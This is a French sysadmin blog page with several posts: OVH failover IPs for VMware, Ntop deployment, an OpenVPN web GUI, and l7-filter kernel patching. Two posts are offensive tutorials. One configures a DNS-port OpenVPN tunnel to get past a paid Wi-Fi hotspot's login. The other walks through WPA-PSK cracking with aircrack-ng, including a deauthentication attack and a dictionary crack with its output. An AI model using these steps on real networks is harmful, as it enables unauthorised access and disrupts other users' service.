SYN, SYN-ACK, ACK …

Steal This Blog

Archives Posts

IP-FailOver Ovh Vmware Server

janvier 23rd, 2009 by Corbier

Lorsque l’on a un serveur dédié on peut être tenté de faire de la virtualisation sur son serveur. Plus OS, facilité des backups etc… Cependant, pour éviter que ce soit trop le bazar sur leur réseau, Ovh a limiter les mac adresse par rapport au port des commutateurs.

Il est donc impossible de communiquer avec un machine qui serait bridger sur l’interface de la machine hôte. Pour pallier à ça il est possible de mettre ses machines virtuelles en mode HostOnly. Il suffit ensuite d’activer le routage et le snat sur le linux .

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

Mais cela pose problème si l’on souhaite utiliser des ip public. Il faut donc feinter.

Tout d’abord ovh propose d’utiliser des IpFailOver afin de faire « pointer » plusieurs ip public sur le même serveur. Comme les mac adresses sont bloquées par port, il faut utiliser le proxy_arp de linux afin de réussir cette configuration.

L’idée est donc d’utiliser des ips public que l’on a acheter à ovh pour des machines virtuelles. Il faut donc configurer une interface réseau vmware en hostonly. Dans ma configuration c’est vmnet1. Activons maintenant le proxy_arp sur l’interface vmware.

echo 1 > /proc/sys/net/ipv4/conf/vmnet1/proxy_arp

Je vous laisse consulter la page suivante pour avoir plus d’information sur le fonctionnement d’un proxy arp.

Ensuite il faut ajouter une route à destination de ip_suplémentaire pour que la machine hote puisse savoir à quel interface envoyer le paquet.

route add ip_supplémentaire dev vmnet1

Il ne vous reste plus qu’a configurer votre machine virtuelle avec l’adresse suplémentaire. Avec un masque de sous réseau 255.255.255.255 pour pouvoir communiquer avec les machines de votre subnet.

Cependant attention le trafic à destination de votre machine virtuel passe par la table filter-forward d’iptables il vous faut évidement configurer les protocoles que vous souhaiter router.

Filed under Non classé having No Comments »

Archives Posts

Déploiement Ntop

avril 30th, 2008 by julio

Présentation de l’outil Ntop

Ntop est un outil d’analyse réseau permettant de surveiller un parc informatique en temps réel. Toutes les données et statistiques sont représentées via une interface Web.

Quelques fonctionnalités de Ntop :

  • Tableau des hosts connus
  • Utilisation des protocoles réseaux
  • Charge bande passante par host
  • Graphes journaliers, hebdomadaire, mensuels, annuels

Installation Ntop

Ntop s’installe en ligne de commande :

Installation du package

apt-get install ntop

Vérification de la version

apt-cache policy ntop

Ntop est maintenant installé.

Renseigner le mot de passe Admin permettant de gérer l’interface Web Admin :

ntop -A

Pour lancer ntop, plusieurs possibilités de démarrage :

  • -i : défini l’interface de capture (Possibilité de mettre plusieurs interfaces séparés d’une virgule)

  • -w : permet de spécifier l’adresse IP du serveur ntop suivi du port

  • -W : permet de spécifier également une IP mais cette fois-ci en HTTPS

  • -d : permet de démarrer ntop en daemon

  • -u : défini l’utilisateur (par défaut l’utilisateur ntop est créé)

Dans mon exemple, je vais lancer ntop en daemon sur l’interface eth0 et eth1 sur mon serveur 192.168.0.1 en https avec le port 3001 :

ntop -u ntop -d -i eth0,eth1 -W 192.168.0.1:3001

L’utilisateur ntop doit être spécifié dans la commande afin d’avoir les droits nécessaires pour visualiser toutes les stats. Puis, si vous ne lancez pas ntop en daemon, vous devrez arréter le service manuellement (kill) au lieu de le faire via le daemon (/etc/ini.d/ntop stop).

Il est possible maintenant d’attaquer le serveur en https. Ntop intègre son propre serveur Web, il n’y a pas besoin d’installer un serveur Apache à coté.

https://votre_site:3001

Interface Web

Plusieurs onglets sont disponibles sur l’interface :

  • About : tous les informations sur Ntop, comment ça marche, …
  • Summary : récapitule toutes les informations sous forme de stat
  • All protocols : récapitule les informations par host et par protocoles
  • IP : défini l’ensemble du trafic IP
  • Media : utile pour le fibre channel et les sessions SCSI
  • Utils : permet de dumper les données en XML si Ntop a été compilé avec le xml et de voir les logs de ntop
  • Plugins : possibilité de rajouter des plugins à Ntop (NetFlow, RRD, …)
  • Admin : interface pour gérer les options de Ntop et toutes les préférences Admin

Dans le cas où l’on capture avec plusieurs interfaces réseaux, l’interface Web affiche les stats d’une seule interface. Pour switcher, il suffit de cliquer sur l’ongler Admin puis Switch NIC. L’interface Web vous affichera les interfaces disponibles.

Mirroring de port

Ntop permet de sniffer un réseau IP. Si la partie sniffée est un réseau IP avec Hub, il n’y a pas de problème car tous les paquets transitent sur tous les ports. Par contre, la plupart des réseaux utilisent aujour’hui des switchs. Dans ce cas, il faut dupliquer le trafic vert le port où se trouve le serveur Ntop.

Sur un switch Cisco, il faut configurer le SPAN permettant de récupérer le trafic que l’on souhaite vers un port de destination :

Dans mon exemple, j’utilise un switch Cisco Catalyst 2950. Ma sonde se trouve sur le port Fa0/11 et je veux dupliquer le trafic du port Fa0/12 et FA0/14 :

monitor session 1 source interface Fa0/11

monitor session 1 destination Fa0/12

monitor session 1 destination Fa0/14

Afficher votre configuration (sh run) pour voir si les commandes ont bien été appliquées et surveiller si Ntop récupère bien le trafic.

Filed under Linux having 2 Comments »

Archives Posts

OpenVPN Web GUI 0.3.x

mars 25th, 2008 by Corbier

Lorsque nous avons un serveur VPN comportant beaucoup d’utilisateurs, il devient rapidement difficile à administrer. Surtout dans le cadre de révocation de client, ajout de nouveaux utilisateurs etc …

Pour cela j’ai découvert un GUI web permettant de :

  • shows the version of openvpn service;
  • shows the list of connected peers (uses status log file, version 2);
  • shows the brief configuration of openvpn server;
  • shows the list of all openssl certificates (actually, not ALL of them, but only those, which are made to be used for openvpn service);
  • shows the content of a certificate (not a private key);
  • builds the private key, CSR and public certificates;
  • downloads private key, CSR or public certificate;
  • downloads configuration sertificate files;
  • new: downloads private key, CSR and public certificate in a ZIP file (along with custom files, provided by you).
  • Ce projet est encore en développement, cependant il reste a suivre de près car les fonctionnalités annoncé m’ont l’air prometteuse.

    La liste des dépendances est la suivante : apache2, php5, php5-session, php-pcre, smarty. Il faut obsolument que php soit installé avec le support ssl (–with-openssl).

    Une fois les dépendances satisfaites, il ne reste plus qu’a télécharger et décompressé l’archive ==> http://openvpn-web-gui.sourceforge.net/

    Il faut éditer le fichier config.inc pour renseigner les différents chemins du fichier de configuration de openvpn et du fichier de log.

    IMPORTANT : il faut qu’openvpn génére un fichier de log version 2. Il faut donc ajouter status-version 2 au fichier de conf

    Voici la liste des utilisateurs connectés :

    OpenVpn Web Gui 1

    Ainsi que la liste des certificats et des users creés :

    OpenVpn Web Gui 2

    Archives Posts

    ByPass Hotspot Neuf (Chillspot)

    décembre 29th, 2007 by Corbier

    Avec l’arrivée et la multiplication des hotspots, il devient néccéssaire d’avoir un compte sur les hotspots ou pas…

    Afin de ByPass l’accès réseau. Qui se base sur votre compte en banque. Nous avons cherché un moyen de « sortir » du hotspot.

    Sachant que le protocole dns étant le seul protocole autorisé a sortir. Nous avons donc constater que le tunneling serait je pense la meilleur solution.

    Pour réussir, Il vous faut.

    Un serveur VPN, et un laptop evidement.

    Nous avons choisi openvpn en mode static key afin de géré cette connection.

    Voici la configuration ip du server vpn

    br0 Link encap:Ethernet HWaddr 00:18:39:AE:73:A7
    inet addr:192.168.30.254 Bcast:192.168.30.255 Mask:255.255.255.0
    UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1
    RX packets:231701 errors:0 dropped:0 overruns:0 frame:0
    TX packets:142476 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:13696143 (13.0 MiB) TX bytes:92534590 (88.2 MiB)

    lo Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    UP LOOPBACK RUNNING MULTICAST MTU:16436 Metric:1
    RX packets:1300 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1300 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:139429 (136.1 KiB) TX bytes:139429 (136.1 KiB)

    tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
    inet addr:10.10.10.10 P-t-P:10.10.10.11 Mask:255.255.255.255
    UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
    RX packets:542 errors:0 dropped:0 overruns:0 frame:0
    TX packets:368 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:100
    RX bytes:38381 (37.4 KiB) TX bytes:239530 (233.9 KiB)

    vlan1 Link encap:Ethernet HWaddr 00:18:39:AE:73:A8
    inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
    UP BROADCAST RUNNING PROMISC ALLMULTI MULTICAST MTU:1500 Metric:1
    RX packets:75864 errors:0 dropped:0 overruns:0 frame:0
    TX packets:49847 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:84198507 (80.2 MiB) TX bytes:5662097 (5.3 MiB)

    On considère que l’interface vlan1 est l’interface public du server vpn. tun0 est l’interface virtuel d’entrée du vpn.

    Voici le fichier de conf du server vpn

    dev tun
    ifconfig 10.10.10.10 10.10.10.11
    secret /tmp/static.key
    comp-lzo
    port 53
    verb 3

    Pour plus d’info sur la configuration du vpn ici

    Il faut copié cette clé sur le laptop que servira de client.

    Il faut aussi activé le nat su le server vpn

    iptables -t nat -A POSTROUTING -o vlan1 -j MASQUERADE

    Voici le fichier de conf du client

    dev tun
    remote ipwanduservervpn
    ifconfig 10.10.10.11 10.10.10.10
    port 53
    secret static.key
    proto tcp-client
    comp-lzo
    route 192.168.30.0 255.255.255.0

    Il vous reste plus qu’a vous connecter au hotspot dans votre gare préféré et de lancer votre connect vpn

    et hop vous êtes chez vous :p

    Filed under Linux, Securité, iptables having 12 Comments »

    Archives Posts

    l7-filter (suite)

    décembre 14th, 2007 by Corbier

    Suite à un précédent billet sur l7-filter

    J’ai préparé des packets noyau 2.6.18 avec iptables l7 filter compilé prête à l’emploi.

    Ils sont disponible sur le dépot http://corbier.homelinux.com/deb/l7-filter/

    Faites-en bon usage.

    J’ai aussi découvert une manière de cloner les disques virtuels via un outil disponible dans le paquet VirtualBox

    VBoxManage clonevdi Master.vdi clone.vdi

    En effet, la copie simple ne fonctionne pas (problème d’uuid).

    Une autre manipulation peut être intéressante. On peut « compacter » un disque VDI.

    VBoxManage modifyvdi Debian-l7-filter.vdi compact

    Archives Posts

    L7filter ou comment iptables remonte couche 7

    décembre 1st, 2007 by Corbier

    Pour pouvoir faire un filtrage efficace il ne faut pas que s’appuyer sur les ports, en effet un firewall efficace doit pouvoir remonter jusqu’a la couche 7 du modele osi (la couche application), pour par exemple bloqué les protocole p2p ou les jeux en lignes.

    Une solution existe sous linux c’est un module d’iptable: ‘l7-filter’.

    Voici un exemple d’installation sur debian sarge.

    Il faut tout d’abord savoir avec quelle noyau vous voulez l’installez

    moi j’ai choisi le ‘2.6.15′

    Comme la doc l’indique il faut tout d’abort installer les outils de compilation et de manipulation du noyau

    sudo apt-get install build-essential fakeroot kernel-package

    Il est ensuite préférable de ne pas compiler en root, il faut donc ajouter son utilisateur aux groupes src

    adduser mon_user src

    Il faut ensuite chercher les sources de son noyau ou du noyau choisi

    apt-cache search linux-source

    et l’installer avec apt-get

    sudo apt-get install linux-source-2.6.15

    ensuite on decompresse les sources ( notez que les N° de version du noyau sont a adapté selon votre cas d’utilisation)

    cd /usr/src

    rm linux

    On se place dans /usr/src et on supprime le lien symbolique si il existe deja

    tar -xjvf linux-source-2.6.15.tar.bz2

    ln -s linux-source-2.6.15 linux

    on décompresse et on recréez le lien symbolique

    Bon notre noyau est pret à etre modifier

    On télécharge le patch L7-filter

    http://sourceforge.net/project/showfile … p_id=80085

    Layer 7 Patches

    wget http://umn.dl.sourceforge.net/sourceforge/l7-filter/netfilter-layer7-v2.2.tar.gz

    Telecharge le patch

    On telecharge les sources d’iptables

    wget http://netfilter.org/projects/iptables/files/iptables-1.3.5.tar.bz2

    on extrait les deux archives

    tar -xzvf netfilter-layer7-v2.2.tar.gz && tar -xjvf iptables-1.3.5.tar.bz2

    ensuite copy le patch pour le noyau et pour iptables

    cp netfilter-layer7-v2.2/kernel-2.6.13-2.6.16-layer7-2.2.patch linux && cp netfilter-layer7-v2.2/iptables-layer7-2.2.patch iptables-1.3.5

    on applique le patch au noyau

    cd linux
    patch -p1 < kernel-2.6.13-2.6.16-layer7-2.2.patch
    cd ..

    on patch également les sources d’iptables

    cd iptables-1.3.5
    patch -p1 < iptables-layer7-2.2.patch

    ensuite on install le iptables patché dans les sources du noyau make KERNEL_DIR=/usr/src/linux

    make install KERNEL_DIR=/usr/src/linux

    Voila il nous reste plus qu’a activer ces modules pour la compilation du noyau

    cd ../linux
    make menuconfig

    maintenant il reste a activer les modules suivant comme l’indique la doc l7-filter

    * EXPERIMENTAL (Code maturity level options & Prompt for development and/or incomplete code/drivers)
    * Netfilter (Device Drivers &Networking support & Networking Options & Network packet filtering)
    * Connection tracking (Network packet filtering & IP: Netfilter Configuration & Connection tracking)
    * « Connection tracking flow accounting » and « IP tables support » (on the same screen)
    * And finally, « Layer 7 match support »
    * Optional: Lots of other Netfilter options, ntably « FTP support » and other matches. If you don’t know what you’re doing, go ahead and enable all of them.

    sauvegarder le tout et installer comme le spécifie la doc apt-get install cramfsprogs initrd-tools il nous reste a concevoir les packages .deb attention cela peut etre long selon la puissance de votre machine

    « fakeroot make-kpkg append-to-version=.181004 kernel_image initrd binary »

    maintenant que la compilation a été effectuer avec succes il faut l’installer

    cd ..

    dpkg -i kernel-image-2.6.15.181004_10.00.Custom_i386.deb

    Voila qui est fait il nous reste a rebooter sur le noyau et a installer les protocoles générique de l7-filter

    Un fois redémarrez telecharger les protocoles

    wget http://superb-west.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2006-05-29.tar.gz

    on décompresse

    tar -xzvf l7-protocols-2006-05-29.tar.gz

    et on l’install

    cd l7-protocols-2006-05-29
    make install

    Voila c’est terminer vous pouvez utiliser l7-filter en modules d’iptables

    pour la syntax c’est basique

    iptables specify table & chain -m layer7 –l7proto name of protocol -j action

    par exemple

    iptables -I INPUT -m layer7 –l7proto http -j drop

    redirigeras tout les paquets http en entrer vers /dev/null

    Enjoy :p

    Archives Posts

    WPA1 / WPA2 PSK / Cracking

    juillet 19th, 2007 by Corbier

    Dans un premier temps, il faut installer aircrack-ng.

    Nous allons passer la carte wifi en mode monitor c’est a dire (la carte écoute tous les paquets wireless même ceux qui ne lui sont pas destiné.)

    Pour cela nous utilisons airmon-ng

    fluxdeb:~# airmon-ng

    usage: airmon-ng <start|stop> <interface> [channel]

    Interface Chipset Driver

    wifi0 Atheros madwifi-ng

    wifi1 Atheros madwifi-ng

    1) Passage en mode Monitor

    fluxdeb:~# airmon-ng start wifi1

    usage: airmon-ng <start|stop> <interface> [channel]

    Interface Chipset Driver

    wifi0 Atheros madwifi-ng

    wifi1 Atheros madwifi-ng

    ath0 Atheros madwifi-ng VAP (parent: wifi1) (monitor mode enabled)

    Lors du passage en mode Monitor airmon crée un interface virtuel ath0. J’utiliserai ath0 pour la suite du cracking.

    2) Découverte des réseaux.

    La commande airodump-ng permet de « sniffer » le réseaux afin de découvrir les réseaux wifi disponible.

    L’utilisation sans argument permet l’écoute sur tout les canaux et de tout les SSID.

    Notez qu’il est possible d’utiliser deux interfaces pour sniffer doublant ainsi la rapidité d’obtention de packet.

    airodump-ng <options> <interface>[,<interface>,...]

    CH 10 ][ Elapsed: 16 s ][ 2007-05-10 15:24

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:16:46:C6:2D:B1 31 28 0 0 13 54. WEP WEP XXXXX 00:16:46:C6:2D:B0 32 27 7 0 13 54. WPA2 CCMP PSK XXXXX

    BSSID STATION PWR Lost Packets Probes

    Voici donc nos deux réseaux, le réseaux que je vais cracker est 00:16:46:C6:2D:B0

    On peut voir qu'il envoie sur le channel 13. Je vais donc demander a airodump-ng d'ecouter exclusivement notre réseau.


    airodump-ng -c 13 -b 00:16:46:C6:2D:B0 -w psk ath0

    -c : channel a écouter

    -b : mac adress de l'ap

    -w : fichier ou l'on sauvegarde les IVs

    ath0 : interface

    J'obtiens donc ceci

    CH 13 ][ Elapsed: 4 s ][ 2007-05-10 15:32

    BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:16:46:C6:2D:B0 33 58 71 115 3 13 54. WPA2 CCMP PSK XXXXXX

    BSSID STATION PWR Lost Packets Probes

    00:16:46:C6:2D:B0 00:0C:F1:04:77:D2 43 0 79

    Ce qui est important ici ce sont les stations connectés au point d'accès

    Il y a en a 1 qui est associé. (00:16:46:C6:2D:B0)

    3) Création de traffic.

    Afin d'accélérer la récolte d'information, je vais forcer le client authentifié à générer du traffic en le déassociant du point d'accès. Pour ce faire il faut utiliser aireplay-ng.


    aireplay-ng -0 1 -a 00:16:46:C6:2D:B0 -c 00:0C:F1:04:77:D2 ath0

    -0 : type d'attaque ( déassotiation )

    1 : nombre de déassotiation à envoyer

    -a : mac de l'ap

    -c : mac du client authentifié


    15:46:14 Sending DeAuth to station -- STMAC: [00:0C:F1:04:77:D2]

    Ce résultat creé donc du traffic ce qui vas augmenter nos chances de cracker la psk.

    4) Cracking de la PSK

    Afin de cracker la psk aircrack utilise une attaque par dictionnaire.


    aircrack-ng -w dico /home/corbier/psk-0*.cap

    -w : dictionnaire

    /home/corbier.psk-0*.cap : fichier contenant les IVs

    Read 78425 packets.

    # BSSID ESSID Encryption

    1 00:16:46:C6:2D:B0 XXXXXX WPA (1 handshake)

    Index number of target network ? 1

    Aircrack-ng 0.6.2

    [00:00:00] 56 keys tested (83.64 k/s)

    KEY FOUND! [ ??????????? ]

    Master Key : 31 96 83 02 6E 0D A7 0B 7C 42 95 E2 13 50 FE 31

    1A 25 44 5E C4 6D C5 74 54 B7 1F 37 7F C6 E4 65

    Transcient Key : F4 B4 54 7E 5E 1A 49 F4 2F 0E 1B CA 25 C1 22 09

    B7 F6 E1 6F 2A 00 B9 F5 31 5D 7D A6 97 9B D1 7B

    7C 67 3C 15 FF C1 5B D4 7B 0A D4 18 A1 3C EA C6

    F8 7B A2 8C 9E 7F FA D4 C4 92 AF 06 4C 47 06 9A

    EAPOL HMAC : FF 23 6C A2 A6 10 FF E0 A9 53 E0 2E 1F 61 44 BB

    Et voila

    Filed under Linux, Securité, wifi having No Comments »